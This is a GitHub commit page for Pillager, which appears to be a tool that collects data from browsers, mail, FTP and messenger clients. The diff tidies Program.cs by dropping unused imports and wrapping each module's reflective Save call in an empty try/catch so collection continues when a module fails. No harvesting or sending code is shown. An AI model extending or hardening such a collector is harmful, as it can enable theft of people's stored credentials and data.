Skip to content

Commit

Permalink
Update Program.cs
Browse files Browse the repository at this point in the history
  • Loading branch information
qwqdanchun committed Sep 7, 2024
1 parent 48499d7 commit 82aca68
Showing 1 changed file with 13 additions and 12 deletions.
25 changes: 13 additions & 12 deletions Pillager/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -2,14 +2,7 @@
using System.Diagnostics;
using System.IO;
using System.Reflection;
using Pillager.Browsers;
using Pillager.FTPs;
using Pillager.Helper;
using Pillager.Mails;
using Pillager.Messengers;
using Pillager.Softwares;
using Pillager.SystemInfos;
using Pillager.Tools;

namespace Pillager
{
Expand Down Expand Up @@ -64,9 +57,13 @@ static void SaveAll(string savepath)
{
if (type.IsSubclassOf(typeof(ICommand)))
{
File.AppendAllText(logpath, "Try to save "+type.Name +" to "+ savepath+". ");
var instance = (ICommand)Activator.CreateInstance(type);
instance.Save(savepath);
File.AppendAllText(logpath, "Try to save " + type.Name + " to " + savepath + ". ");
try
{
var instance = (ICommand)Activator.CreateInstance(type);
instance.Save(savepath);
}
catch { }
File.AppendAllText(logpath, "Finished!" + Environment.NewLine);
}
}
Expand All @@ -81,8 +78,12 @@ static void SaveAllOnce(string savepath)
if (type.IsSubclassOf(typeof(ICommandOnce)))
{
File.AppendAllText(logpath, "Try to save " + type.Name + " to " + savepath + ". ");
var instance = (ICommandOnce)Activator.CreateInstance(type);
instance.Save(savepath);
try
{
var instance = (ICommandOnce)Activator.CreateInstance(type);
instance.Save(savepath);
}
catch { }
File.AppendAllText(logpath, "Finished!" + Environment.NewLine);
}
}
Expand Down

0 comments on commit 82aca68

Please sign in to comment.